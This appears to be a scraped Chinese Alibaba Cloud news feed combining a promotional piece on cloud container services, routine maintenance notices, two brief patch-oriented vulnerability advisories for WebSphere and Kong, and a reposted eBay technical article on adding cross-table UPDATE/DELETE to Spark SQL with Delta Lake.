    Gartner 报告同样指出各公有云容器平台,还提供了如 API 网关、服务网格、安全容器运行时、可观测性等工具,以更好地支撑基于 Kubernetes 的微服务架构及完整的应用生命周期。

    阿里云服务网格是托管式的微服务应用流量统一管理平台,为每个微服务提供一致的流量控制和可观测能力,并支持多个 Kubernetes 集群统一流量管理。而对于更强安全隔离需求的情况,用户可以搭配选用阿里云安全沙箱容器,其拥有独立内核可提供强大安全性,几乎没有性能损耗,在日志、监控、弹性和存储等各方面具备与 Docker 容器一样的用户体验。

    根据不同观测需求,用户可以选择云监控、ARMS Prometheus、ARMS前端监控和日志服务等,实现云资源、容器集群、容器节点、Pod 等指标的完善监控,对集群变更状态、pod 创建拉起删除、组件异常等信息及时告警。

    独木不成林,容器市场生态潜力巨大

    为了方便广大企业获得完整的容器解决方案,Gartner认为第三方软件供应商应与各容器公共云平台紧密合作。第三方软件供应商通过容器市场提供其应用镜像,用户可以一键部署各类所需的标准容器应用。

    阿里云已于 2019 年 9月正式上线容器应用市场,支持容器镜像及 Helm Chart 两类容器应用商品。市场提供开源免费和商业化收费的容器应用商品,用户可以便捷选择并一键部署至 ACK 集群上。目前,容器应用市场已入驻 Fortinet、Intel、驻云、奥哲 等多家合作伙伴,覆盖了从容器应用自身安全监控到容器化部署的商品,便于用户获得完整的容器化解决方案。

    企业正在拥抱云原生

    Gartner 报告曾指出,到 2020 年,将有 50% 的传统老旧应用被以云原生化的方式改造,到 2022 年,将有 75% 的全球化企业将在生产中使用云原生的容器化应用。

    云原生,是指一种构建和运行应用程序的方法,它利用了云计算交付模型的优势。云原生是关于如何创建和部署应用程序,而与在何处创建与部署无关。云原生架构充分利用按需交付、全球部署、弹性和更高级别的服务,极大提高了开发人员的工作效率、业务灵活性、可扩展性、可用性、利用率和成本节约。而容器就是云原生的核心技术之一。

    阿里云容器技术负责人易立指出云原生技术可以为企业带来三大优势:

    • 加速核心架构互联网化。帮助企业IT基础设施更加具备弹性和自治能力,提升业务敏捷性,更加灵活地应对商业发展中的不确定性;
    • 助力业务的数字化、智能化升级。云原生技术与异构算力和大数据、AI技术结合,将释放巨大的威力,把数据资产转变成企业核心竞争力;
    • 随着 5G、AIoT 等技术的成熟,新基建战略将为企业带来全新的创新机遇。云原生技术将推动云边端应用一体协同,构建下一代动态、大规模、无边界的云应用架构。

    如今,阿里云容器服务每天服务数千家企业的业务系统,上万个集群和数百万容器支撑这各行各业特点各异的服务。

    以云原生大数据及 AI 场景为例,微博使用容器服务 ACK,实时计算的性能较开源方案提升 2.4 倍,实现百亿级样本和万亿维度超大规模系数模型。

    工业领域的百年老店西门子,已经通过云原生突破传统模式上线周期长、扩容难、运维难等难题,仅用半年多时间就在阿里云上部署起物联网平台 MindSphere,为制造企业提供快速的数字化改造和迁移服务。

    新冠疫情期间,百家云、洋葱学院、希沃课堂等数家企业基于容器服务扩容十倍甚至数十倍应对流量洪峰,支撑千万学生在线学习。此外,2020 年 1月华大基因和阿里云联合宣布,基于阿里云容器服务的基因计算服务 AGS通过异构算力的高效调度和算法创新可以实现计算百倍加速,15 分钟完成个人全基因组测序;疫情爆发后,阿里云还面向全球免费开放基因计算服务 AGS,60 秒内即可获得数千种已知病毒基因(包括冠状病毒等)比对结果。

    阿里云在云原生领域的投入广泛而深入,在容器、服务网格和 Serverless 均有丰富的产品服务,目前阿里云已经拥有国内最丰富的云原生产品家族、最全面的云原生开源贡献、最大规模的云原生应用实践、最大的云原生客户群体。

    经过 9 年的内部技术实践,阿里云已拥有国内最丰富的云原生产品家族,覆盖八大类别 20 余款产品,涵盖底层基础设施、数据智能、分布式应用等,可以满足不同行业场景的需求。

    image1.png

    “新基石、新算力、新生态‘是容器产品发展策略”,易立称,“云原生技术正成为释放云价值的最短路径,团队会帮助企业更好支撑混合云、云边一体的分布式云架构和全球化应用交付。基于云原生的软硬一体化技术创新,如神龙架构,含光芯片,GPU共享调度等,阿里云将加速业务智能化升级。同时我们还会通过开放技术生态和全球合作伙伴计划,让更多企业分享云时代技术红利。”

    ]]>
    【升级】4月16号阿里云支付网关升级对业务影响通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【支付系统】【升级通知】

    升级时间:04-16 22:30:00- 05:30:00

    升级内容:为增强阿里云交易和支付系统的体验,我们将对相关系统进行升级

    升级影响:

    1. 费用中心新开通专属账号,在升级过程中,将无法进行操作。已开通的账号查询,汇款等不受影响;

    2. 银行汇款的充值,包括专属账号汇款和普通账号的汇款,升级期间资金充值到余额会有延迟,将在升级完成后恢复并充值到账;

    3. 升级过程中,支付和退款不受影响。但如出现异常,我们将回滚进行服务恢复;


    升级过程给您带来的不便敬请谅解,如您有任何疑问,请联系我们进行咨询反馈

    ]]>
    【升级】4月16日/18日消息中心升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【消息中心】【升级通知】

    升级时间:2020年4月16日22:00-23:59 和2020年4月18日22:00-23:59

    升级影响:

    1、2020年4月16日22:00-23:59期间,控制台-站内消息接收延期。延期的消息通知将在升级结束后发送至您的账号。

    2、2020年4月18日22:00-23:59期间,部分短信/邮件通知延期,延期的消息通知将在升级结束后发送至您的联系方式;控制台-消息中心将无法进行消息接收管理配置。

    ]]>
    【升级】4月16日域名、虚机订单系统升级维护公告 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【域名】【虚机】【订单系统维护】

    维护时间:北京时间2020年4月16日 00:00 – 03:00

    维护内容:阿里云域名、虚机订单系统将于上述时间进行后台维护升级。

    维护影响:届时域名、虚机等产品的购买、续费等订单,将会无法支付。在此期间会对您造成的具体影响如下:

    1、通过PC/APP/H5普通下单流程提交的域名注册、续费、赎回、转入、万网预订等操作和虚机购买、续费等操作无法进行订单支付。升级期间如果已经下单,在升级过后可以继续支付,支付路径“控制台--费用中心--万网产品订单--未付款订单”。

    2、通过API/控制台批量操作提交的域名注册、续费、赎回、转入等操作的,无法提交成功,请您避开系统升级维护时间进行操作。

    3、您提交的一口价(优选)、域名抢注、保留词一口价等购买操作,无法完成订单支付,请避开系统升级维护时间进行订单支付操作。

    一口价(万网)、域名竞价交易、域名带价push交易理论上不受此次系统维护影响;域名过户、实名认证等不涉及订单支付的管理操作不受影响。

    请您避开系统升级维护时间进行相关操作,由此给您造成的不便,敬请谅解!

    ]]>
    【升级】4月19日.COM/.NET注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【域名】【注册局维护通知】

    维护时间:北京时间2020年4月19日 09:00 - 09:45

    维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

    维护影响:届时 .com/.net 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【漏洞预警】WebSphere 远程代码执行漏洞(CVE-2020-4276、CVE-2020-4362) Fri, 02 May 2025 09:39:04 +0800

    2020年4月13日,阿里云应急响应中心监测到WebSphere Application Server于近日修复了两个位于WebSphere SOAP Connector服务中的远程代码执行漏洞。


    漏洞描述

    WebSphere Application Server 是一款由IBM 公司开发的高性能的Java 中间件服务器。WebSphere官方于近日修复了两个位于WebSphere SOAP Connector服务中的远程代码执行漏洞,其CVE编号分别为CVE-2020-4276、CVE-2020-4362。攻击者通过构造恶意请求攻击WebSphere SOAP Connector服务,可以在未授权的情况下在目标服务端执行任意恶意代码,获取系统权限。阿里云应急响应中心提醒 WebSphere Application Server 用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    WebSphere Application Server 9.0.x

    WebSphere Application Server 8.5.x

    WebSphere Application Server 8.0.x

    WebSphere Application Server 7.0.x


    安全建议

    1. 将 WebSphereSOAP Connector 默认监听端口(默认8880)设置为禁止对外开放,或仅对可信对象开放。

    2. 各版本WebSphere Application Server升级至最新版,并安装相应的安全补丁PH21511 及PH23853


    相关链接

    https://www.ibm.com/support/pages/node/6174417

    https://www.ibm.com/support/pages/node/6118222



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.04.13

    ]]>
    【漏洞预警】Kong Admin Rest API未授权访问漏洞(CVE-2020-11710) Fri, 02 May 2025 09:39:04 +0800

    2020年4月15日,阿里云应急响应中心监测到近日国内某安全团队披露了Kong API网关在默认Docker部署的情况下存在未授权访问漏洞,从而导致Kong API网关被恶意控制。


    漏洞描述

    Kong API 网关是目前最受欢迎的云原生 API 网关之一,它通过插件的形式提供负载均衡等多重功能。Kong 使用 Kong Admin Rest API 作为管理 Kong Proxy 能力的关键入口。在 2.0.3 版本及其之前,当企业遵循官方文档或默认配置使用 Docker 容器的方式搭建 Kong API 网关时,会在默认情况下将未经鉴权的Admin Rest API 对公网开放,导致攻击者可以通过未授权访问Admin Rest API,从而控制Kong API网关。阿里云应急响应中心提醒 Kong API 网关用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    Kong <= 2.0.3


    安全建议

    将Kong Admin Rest API 默认监听端口(默认8001 和 8444)设置为禁止对公网开放,或仅对可信对象开放。安全组设置禁止8001端口对外开放示例如下:


    相关链接

    1. https://github.com/Kong/docker-kong/commit/dfa095cadf7e8309155be51982d8720daf32e31c

    2. https://github.com/Kong/docs.konghq.com/commit/d693827c32144943a2f45abc017c1321b33ff61

    3. https://mp.weixin.qq.com/s/Ttpe63H9lQe87Uk0VOyMFw


    阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测

    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.04.15

    ]]>
    实战 | 利用Delta Lake使Spark SQL支持跨表CRUD操作-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文转载自公众号: eBay技术荟
    作者 | 金澜涛
    原文链接:https://mp.weixin.qq.com/s/L64xhtKztwWhlBQrreiDfQ


    摘要

    大数据处理技术朝传统数据库领域靠拢已经成为行业趋势,目前开源的大数据处理引擎,如Apache Spark、Apache Hadoop、Apache Flink等等都已经支持SQL接口,且SQL的使用往往占据主导地位。各个公司使用以上开源软件构建自己的ETL框架和OLAP技术,但在OLTP技术上,仍然是传统数据库的强项。其中的一个主要原因是传统数据库对ACID的支持。具有ACID能力的传统商用数据库基本都实现了完整的CRUD操作。而在大数据技术领域,由于缺少ACID的支持,基本只实现了C/R操作,对U/D操作很少涉及。

    eBay数据仓库的部分基础设施是构建在商用数据产品Teradata之上的,近年来,随着公司整体朝开源技术迁移,数据仓库的基础设施已基本迁移到Apache Hadoop、Apache Spark平台。但要完全从Teradata上迁移下来,必须构建具有相同能力的SQL处理引擎。在Teradata上的分析型SQL,有超过5%的查询使用Update/Delete操作,目前Apache Spark并不具备这个能力。

    本文介绍eBay Carmel团队利用Delta Lake,使Spark SQL支持Teradata的Update/Delete语法。对比标准SQL的Update/Delete语法,以及目前尚未正式发布的Apache Spark 3.0 提供的语法(不含实现),我们还实现了Teradata的扩展语法,可以进行跨表更新和删除的SQL操作。

    1.简介

    Carmel Spark是Carmel团队基于Apache Spark进行魔改的SQL-on-Hadoop引擎。主要改善了交互式分析的使用体验,提供即席查询(ad-hoc)服务。Carmel Spark是“Teradata退出”项目的重要组成部分,在功能性和性能上,都做了大量开发和优化。例如全新的CBO、并发调度、物化视图、索引、临时表、Extended Adaptive Execution、Range Partition、列级访问权限控制,以及各类监控和管理功能等,目前已经在线上使用且满足业务需求。

    但由于Apache Spark缺少ACID事务能力,并没有提供Update/Delete语法。去年年初,Databricks开源了存储层Delta Lake,为Apache Spark 提供可伸缩的 ACID 事务,提供事务管理、统一流批、元数据管理、版本回溯等数据库领域常见功能。一年过去了,Delta Lake的版本也更新到了0.5.0,但开源版本始终没有提供Update/Delete的SQL实现。目前只提供Dataframe API,用户需通过编写代码来对数据进行更新和删除等操作。此外,根据Apache Spark 3.0分支上提供的SQL语法接口,也只支持基本的单表Update/Delete操作,对于复杂的带有join语义的跨表操作,则完全不支持。而Teradata用户已经在广泛使用扩展的SQL语法对数据进行更新和删除操作。

    基于Delta Lake存储层提供的ACID事务能力,Carmel Spark实现了Update/Delete的SQL语法,且该语法完全兼容Teradata的扩展语义,即能进行跨表的更新和删除。同时,我们拓展了delta表的数据分布,支持bucket delta表,并对其进行了bucket join等优化。此外,由于Carmel Spark集群部署是多租户的,所以同一套代码会长期运行在YARN的不同队列中。虽然Delta Lake存储层提供了良好的事务隔离性,但仍会出现重复操作的风险(非同一事务)。因此,我们使用delta表本身来治理delta表,即将所有delta表的元信息存储在一张delta表中,通过对该元数据表的增删改查操作,来对用户使用的所有delta表进行管理。

    本文的组织结构如下:第二节介绍相关技术和产品;第三节阐述项目的整体架构和实现;第四节详细介绍如何利用Delta Lake使SparkSQL支持CRUD操作;第五节介绍delta表的bucket优化;第六节介绍delta表的自治和管理;最后两节分别谈一下未来的工作和对本文的总结。

    2.相关工作

    2.1 Spark SQL

    Apache Spark[1]是一款开源的分布式计算框架,诞生于2009年加州大学伯克利分校AMPLab的一个研究项目,于2013年捐赠给了Apache软件基金会。在处理结构化数据上,Spark提供了DataFrame API和Spark SQL模块。DataFrame API允许用户通过表、行和列的概念对数据进行操作。

    同样,用户可以使用SQL来操作它们。Spark SQL模块将SQL查询转成一棵查询计划树(query plan tree)。给定一个原始SQL查询,该查询首先经词法分析和解析,转换为逻辑查询计划(logical plan)。该逻辑查询计划经过查询优化器,产生优化的查询计划(optimized plan)。最终,优化的查询计划被转换为物理计划(physical plan),物理计划会被转成job和task最终提交到集群上执行。

    Apache Spark 3.0开始,SQL模块提供了Update/Delete的语法定义,定义在Antlr4的语法文件里,但并没有具体实现,而是交由第三方实现。如图1所示:
    image.png

    Teradata

    Teradata[2]是Teradata Corp.开发的可横向扩展的关系型数据库管理系统,设计用于分析型查询,主要用于数据仓库领域,采用大规模并行处理(MPP)架构。Teradata对Update/Delete等语法支持非常完备,除了ANSI SQL: 2011定义的标准Update/Delete语法,Teradata还做了大量扩展,如跨表更新和删除。其所提供的丰富的语法也给我们迁移到Spark带来了挑战。图2所示为Teradata支持的更新和删除语法:
    image.png

    2.3 Delta Lake

    2018年初,Databricks开源了存储层Delta Lake[3],为Apache Spark 提供可伸缩的 ACID 事务,提供事务管理、统一流批、元数据管理、版本回溯等数据库领域常见功能。Delta Lake将其数据存储在Parquet文件中,并提供ACID事务。它使用名为Delta Log的事务日志来跟踪对表所做的所有更改。

    与开源的Delta Lake相比,Databricks内部版本可以通过SQL来进行Update/Delete操作,而目前开源版本只支持DataFrame的API,只能通过Parquet[4]文件推断表的Schema信息,对Hive Metastore[5]的支持较弱,且不支持bucket表等等。Apache Iceberg[6]和Apache Hudi[7]虽然实现形式与Delta Lake不同,但在Update/Delete的SQL语法支持上,目前都不完善。表1给出了这三个系统的对比(截止2019年11月)。

    image.png

    3.项目概述

    有了Delta Lake在存储层提供ACID事务保障,我们的主要工作就是利用Delta Lake,在我们的Spark版本上实现和Teradata相同的Update/Delete功能。要达到这个目标,有以下任务有待完成:

    1. Delta Lake目前只支持Apache Spark 2.4+版本,而Carmel团队使用的Spark版本是基于2.3版本的,所以我们改了Delta Lake的部分实现并为我们的Spark版本打了一些补丁。
    1. Spark 3.0中虽然没有Update/Delete语法的具体实现,但仍然在Catalyst[8]中加入了相关的逻辑计划节点。不过这些新增的接口都是基于DataSourceV2的,我们需要将这部分代码在DataSourceV1上进行重写:

    image.png

    1. Teradata支持跨表的Update/Delete语法,目前Delta Lake和Spark都不支持,我们需要自己实现带join的跨表连接更新和删除操作。
    1. Delta Lake目前对Catalog[9]的访问还不成熟,delta表的schema是通过Parquet文件推断出来的,通过Catalog访问Hive Metastore是使用SQL访问delta表的重要一环。
    2. 由于上述原因,delta表无法识别bucket信息,更没有考虑读写bucket表时的分布(distribution)。
    3. 在以上3,4,5步骤完成之后,还要对跨表操作进行优化,这里将主要介绍bucket join的优化。
    4. 开源版本的Delta Lake缺少一定的管理机制,需要实现一些自动化管理功能,如自动清理和合并文件等。

    4.CRUD的实现

    4.1 前置工作

    首先,要在我们的Spark 2.3内部版本中使用Delta Lake,就需要从社区打一些补丁。这里重点说一下SPARK-28303。

    SPARK-28303引入了基于DataSource V2的DELETE / UPDATE / MERGE语法。由于Spark 2.3不支持DataSource V2,因此我们需要将此功能移植到V1版本,在ddl.scala中增加了UpdateTableStatement和DeleteFrom Statement。Antlr4[10]的语法结构如下所示:
    image.png

    4.2 实现单表更新

    Delta Lake目前不支持Update/Delete SQL的解析,我们增加了两个类:DeltaSqlResolution和PreprocessTableUpdateDelete,通过SparkSessionExtensions注入到Analyzer:

    image.png

    DeltaSqlResolution主要是用于解析condition和assignments表达式:

    image.png

    再由PreprocessTableUpdateDelete生成RunnableCommand。如果是delta表的话,这里可以从LogicalRelation中拿出delta表的TahoeFileIndex(在DataSource.scala的resolveRelation中添加的),如果是非delta表,则会抛出AnalysisException。

    image.png

    UpdateCommand是Delta Lake自带的类,我们对其改动不多,主要改了如下几个地方:

    一个是鉴于目前Update操作不会更新表的统计信息(Statistics),造成delta表在进行join等操作时无法正确判断是走SortMergeJoin还是BroadcastJoin,我们增加了catalog的访问使delta表的CRUD操作都能更新表的统计信息。

    第二个改动是增加了update/delete的row级别metrics信息。Delta Lake已经发布的0.5.0版本update和delete缺少row级别的metrics。社区最新的代码已经做了添加,但当更新或删除单个partition或全表时仍旧是缺少的,而我们的实现在无论何种情况下都做了收集。

    4.3实现跨表更新

    目前Spark3.0定义的Update/Delete语法不支持跨表操作,而跨表更新和删除操作却十分普遍,比如更新目标表中具有(在inner join情况下)或可能没有(在left outer join情况下)另一个表匹配行的行。

    许多数据库都提供跨表更新和删除的语法。下面给出了几种常用数据库的跨表更新的例子。

    MYSQL[11]跨表更新:
    image.png

    Teradata的跨表更新:
    image.png

    PostgreSQL[12]的跨表更新:
    image.png

    Teradata的语法和PostgreSQL的基本一致,只是FROM子句和SET子句顺序调换了一下,而MYSQL支持在一条SQL里同时更新多张表。Carmel Spark目前参考的是Teradata的语法,同时在DeltaSqlResolution中增加了带join的解析:

    image.png

    和单表Update一样,首先对condition和SET子句进行解析。不同的是,除了被更新的target是一个LogicalRelation以外,这里的source可以是一个LogicalRelation,也可以是多张表连接在一起的join plan。

    我们从WHERE条件的condition中分离出哪些是target和source之间的join criteria,哪些是source中自身的join criteria(source可以是多表join的plan),以及哪些是分别作用在target或source上的普通Filter。同样地,再由PreprocessTableUpdateDelete生成Runnable Command:

    image.png

    上述代码中,跨表更新和单表更新的区别是多构建了一个DeltaMergeAction。可见跨表更新的实现参考了MergeInto。

    UpdateWithJoinCommand是跨表更新的主要执行类,一共分为三步:

    1. 通过将需要被更新的target表和source(可以是一个带join的plan)进行内连接(inner join)找出所有会被更新的行所涉及的文件,标记为removeFiles。这一步还能简化后续的步骤,例如不涉及任何文件或者只涉及partition目录时,不用全表执行第2步。
    1. 将target和source使用左外连接(left outer join),对于join条件匹配的行,使用build side iterator的数据(右表),不匹配的行使用stream side iterator的数据(左表)。将数据写出到target表,写出的数据文件标记为addedFiles。
    2. 将1中removeFiles和2中的addedFiles写入transaction log中,即delta log。
      删除操作和更新操作基本类似,可以视为更新操作的简化版,这里就不展开了。

    4.4 实现SELECT/INSERT

    对delta表的读操作(SELECT)实际上是对delta表的解析。Delta表是DataSource表的一种。在FindDataSourceTable这条rule中,通过resolveRelation方法对delta表进行特殊处理:

    image.png

    这里我们把catalogTable对象传入到DeltaDataSource的createRelation方法里。补充一点,之所以这个case可以匹配到DeltaDataSource,是因为我们在ConvertToDelta Command里,通过alterTable,把provider从parquet改成了delta:

    image.png

    回到createRelation。通过传入的catalogTable对象,我们在DeltaLog.scala里将表的信息填到HadoopFsRelation里面:

    image.png

    Delta表的INSERT操作也很简单。在DataSourceStrategy中添加InsertIntoData SourceCommand:

    image.png

    普通delta表的insert我们没有进行修改,这里就不展开了,下一节讲bucket表的insert时再详细阐述这部分的改动。

    4.5 创建Delta表

    创建delta表(CREATE操作)目前完全复用了普通Parquet表的CREATE,只是需要在建完表后执行CONVERT TO DELTA命令。我们简单做了一些修改,使其可以CONVERT一张空的Parquet表,目前社区版是不支持的。其他的修改主要是针对管理上的,在第六节会详细介绍。

    到此,CRUD功能的SQL实现已经基本完成。在这一节里,我们引入了跨表更新操作,但是跨表更新涉及到join算子,这在大表之间进行更新操作时会有性能问题。在下一节中会介绍如何针对bucket表进行优化。

    5.Bucket优化

    跨表更新操作中,会有多次连接算子,当进行连接操作的表是上TB数据量的大表时,整个更新操作就会变得非常慢。甚至,大量数据的SortMergeJoin可能抛出OutOfMemory。事实上,在我们实际的业务场景中,就存在着大量的大表更新。例如被更新的表往往是一张几个TB的大表,然后和另一张或几张中型表进行连接操作。为了优化这类SQL,最容易想到的方法是通过bucket join来避免大表数据的shuffle。现实中,我们用户的许多大表也的确做了分桶(bucket)。

    然而目前delta表并不支持分桶表,相关代码的BucketSpec都被默认填了None,对更新和删除的操作也没有考虑数据的分布(Distribution)。那么该如何实现bucket表的数据分布呢?

    5.1 创建delta bucket表和读取

    首先和Parquet表一样,我们需要在建表时指定分桶字段。形如:CLUSTERED BY (col) [SORTED BY (col) ] INTO number BUCKETS。

    在4.3小节中我们提到了在ResolveRelation时将CatalogTable对象传入了HadoopFsRelation。有了这个CatalogTable对象,就可以帮我们在后续的各类操作中识别bucket表了。

    5.2 插入数据到delta bucket表

    上一步只是告诉Spark,这是一张bucket表,真正写入数据的时候发现数据并没有分桶分布。这是因为Insert操作在delta表上是走InsertIntoDataSource -> InsertIntoDataSourceCommand的,而不是通过DataWritingCommand,所以也就走不到ensureDistributionAndOrdering的逻辑。以下代码是社区版InsertIntoDataSourceCommand的实现:

    image.png

    如上代码所示,它的实现非常简单,将需要insert的逻辑计划“query”封装成一个data frame,然后传入到实现类的insert方法里。在Delta Lake中这个data frame会被传入到TransactionalWrite的writeFiles方法中。最终从这个data frame中取出physical plan并传入DataFormatWriter的write方法。之后就是真正的生成job并分发执行了。

    从整个流程可以看出,从一开始的逻辑计划对象“query”到最后的物理计划,并没有机会进行数据分布的实现。所以不管在建表时是否指定分桶,插入数据时都不会满足数据分布。

    鉴于目前DataSource并没有考虑数据分布的问题,我们在resolution阶段就需要进行处理。大体就是在Catalyst里增加一个InsertIntoDataSource的逻辑计划节点和一个InsertIntoDataSourceExec的物理计划节点。在InsertIntoDataSourceExec这个物理计划中实现了requiredChildDistribution和requiredChildOrdering方法(代码可以参考InsertIntoHadoopFsRelationCommand的requiredDistribution和requiredOrdering方法)。

    这里说一下整体流程。首先,DataSourceStrategy原本是匹配到了InsertIntoTable就会将逻辑计划“query”原封不动地传入InsertIntoDataSource Command。我们现在做出如下改变:增加一个新的逻辑计划节点InsertIntoDataSource,为其添加partition,bucket等信息,并将“query”作为该新节点的child:

    image.png

    然后在SparkStrategy.scala的BasicOperators里将InsertIntoDataSource节点转成物理计划节点InsertIntoDataSourceExec,通过planLater(i.query)得到物理计划作为该物理节点的child。这样InsertIntoDataSourceExec的requiredChildDistribution和requiredChildOrdering方法就可以对数据进行分布了:

    image.png

    5.3 在跨表更新或删除操作中利用bucket join

    到目前为止,对delta表的改造已经使其具有了bucketSpec字段和数据分布的特性。在跨表更新或删除时,无论是inner join还是left outer join,只要target和source都是bucket表且满足bucket join条件,就能走bucket join而不是SortMergeJoin。这就解决了大表之间join产生大量shuffle带来的性能问题。

    下面这个例子是跨表更新一张3.9TB的表,source则是一张5.2TB的表。图3所示是left outer join阶段,右表虽然有一个Filter,但是仍然不满足broadcast join阈值,这个更新操作在非bucket join的情况下,会造成大量Executor OOM,最终导致job失败。通过引入bucket join,该job在2分钟左右就能顺利完成。从图3可以看到在SortMergeJoin的前后,已经没有ShuffleExchange了。

    图3 跨表更新中利用bucket join避免shuffle
    image.png

    但是,这里仍然可能存在问题,因为被更新的表仍然是一张bucket表,而图3的输出没有考虑数据的分布。对于bucket表尚不满足数据分布的情况,我们需要在SortMergeJoin之后增加一轮HashRepartition,以保证最终的结果输出符合被更新表的数据分布特性:

    image.png

    6.Delta的自治和管理

    介绍完CRUD的功能和相关优化,这一节讲一下我们是如何管理delta表的,主要包括:如何统计delta的使用情况,如何自动进行文件清理,如何管理TimeTraval[13]等。

    在这之前我们需要简单介绍一下eBay Carmel Spark的基本架构。eBay的Carmel Spark平台是计算存储分离的。数据存储有一个专门的Hadoop集群(Apollo),Carmel Spark集群(Hermes)主要是由大内存加SSD的计算节点组成,通过YARN[14]进行调度。除了本地SSD以外,也有一部分存储容量搭建了一个小容量的HDFS,主要是拿来做Relation Cache和物化视图,这部分以后有机会另起一篇文章进行介绍。

    我们使用Spark Thriftserver来提供JDBC和ODBC服务,但所有的Thriftserver并不是固定在某个机器上的,而是通过YARN进行调度,通过cluster mode将Spark Thriftserver提交到集群内部。同时,根据Budget Group对YARN集群分queue,不同的Budget Group有一个YARN的queue,例如广告部门有一个queue,数据部门有一个queue,每个queue可以有多个Spark Thriftserver。Carmel Spark对scheduler模块做过大量并发优化,经过压测,一个Driver调度起来的任务能把200台物理机的所有CPU压满。所以Driver调度并不是瓶颈,目前最大的一个queue仅使用一个Thriftserver就可以调度近7000个executors。

    image.png

    目前有多少个queue,就有多少个Thriftserver,也就有多少个Application。但不同的Thriftserver仍然共享了一些组件,例如HDFS,Hive Metastore等。这就要求我们对所有的queue做一些管理。例如在物化视图功能中,当对一张基础表构建物化视图后,所有的queue都需要在内存里构建一些逻辑计划树。delta表的管理也类似,不过相比物化视图简单的多。例如我们要对所有的delta表进行自动化的文件清理工作,一种方式是起一个后台线程遍历Hive Metastore的所有表,对provider是delta的表进行处理。这样的好处是不需要跨Thriftserver进行任何消息的同步,坏处自然是不断遍历Hive Metastore带来的压力(多集群公用的Hive Metastore压力已经比较大了)。所以我们使用了一种更加直观的方式进行管理,即用delta表来管理delta表。

    我们创建了一张名为carmel_system.carmel_ delta_meta的表,记录了如表名、owner、deltalog路径、是否自动清理、清理周期等元信息,并将其CONVERT成一张delta表。所以carmel_delta_meta表的第一条记录就是自己的信息。然后我们提供了一套操作这张表的API,以调用静态方法的方式放在DeltaTableMetadata类的半生对象中:
    image.png

    如下所示,当用户对一张表执行CONVERT TO DELTA命令时,会生成一个事件,通过DeltaTableListener捕获后将该delta表的元信息写入carmel_delta_meta,当用户删除delta表时,DropTableEvent同样可以触发上图的删除操作API,从carmel_delta_meta删除这条记录:

    image.png

    另外在YARN的保留队列(reserved queue只允许管理员权限连接)里启动一个DeltaValidate线程,通过读取carmel_delta_meta中的数据进行验证,触发如删除记录等操作。同时,如果用户在CONVERT TO DELTA时指定了Vacuum保留时间:
    image.png
    或是一开始没有指定保留时间,后续通过命令VACUUM AUTO RUN进行修改:
    image.png
    DeltaValidate线程会自动生成Vacuum任务,并丢到Vacuum线程池调度执行。这里就不贴代码了。整个架构如图5所示:
    image.png

    此外,我们还增加了TimeTravel的SQL语义,用户可以通过在SELECT命令里增加AT关键字,单次读取delta表某个version的快照。也可以通过ROLLBACK命令永久回到某个版本:

    image.png

    通过carmel_delta_meta中记录的一些表的血缘信息,可以实现delta表的及联回滚。在某个delta表rollback后,触发器根据carmel_delta_meta的血缘信息,自动回滚其他相关表(这需要事先定义在carmel_delta_meta的rollback依赖树和触发器条件,该功能目前还未上线)。

    上面介绍了通过delta表来管理delta表的方式,这一方法能很好地帮我们解耦队列同步和外部系统依赖的问题,既方便灵活,又快捷安全。

    7.未来的工作

    7.1 持续的性能优化

    Carmel Spark项目经过两年的技术迭代,已经具备非常多的功能和优化,例如Range Partation、Optimized Bucket Join、Broadcast/Local Cache、Extended Adaptive Execution、Parquet File Index、Materialized View、ACL、Volcano CBO、Adaptive Runtime Filter、Mutiple Files Scan等,如何让新的功能如CRUD复用以上优化和特性,也变得越来越富有挑战了。例如我在测试时发现Broadcast Cache和Mutiple Files Scan两个功能在和CRUD功能集成时存在bug,又或者目前的Volcano CBO和Parquet File Index还不能应用在delta表上等。

    此外,在跨表更新操作上,大表连接的优化目前只针对bucket表,但是当两张非bucket表进行连接时,性能仍然不够好。这里就有多个优化点,比如Adaptive Runtime Filter,就是Join Pushdown,可以将join表的min/max或者join key的bloomfilter推到两边进行过滤,以减少参与连接的记录数,目前只完成了在inner join下的部分功能。

    7.2 更完备的语义

    除了性能的优化,Carmel Spark作为Teradata战略代替品,需要尽可能兼容Teradata的语义,后续如果有用户需要MERGE INTO或者UPSERT操作,这部分还要继续扩展。此外,目前UPDATE和DELETE的WHERE条件还不支持子查询,CONVERT TO DELTA不支持Parquet Format的Hive表,这些都将是后续的工作。

    7.3 高度自治的管理

    第6节最后提到过的及联回滚功能,以及对delta表的审计和监控都属于平台管理的范畴。这些有的已经具备成熟的解决方案,如我们已经有完全和Teradata对标的列级访问权限控制和审计功能。有的还在不断完善,如用于File Index和Materialized View的Hive Metastore同步机制还没有上线,目前用的还是过渡方案。这部分不止针对delta表,有些还可以应用于整个Carmel Spark。

    8.实施和总结

    8.1 技术之外

    最后简单说一下项目的情况。这个项目找到我的时候是在2019年的10月底,我刚上线完Spark临时表功能,物化视图项目也还陆陆续续有一些bug fix的工作要做,所以真正开始投入去做应该是在11月中旬。
    CRUD功能目标上线时间是在2020年的2月份,不像物化视图这类优化型项目,功能型项目承诺上线时间的要求往往更高一些。加之期间还有春节假期,oncall和各种bug fix的工作,对于该项目来说排期还是比较紧的。

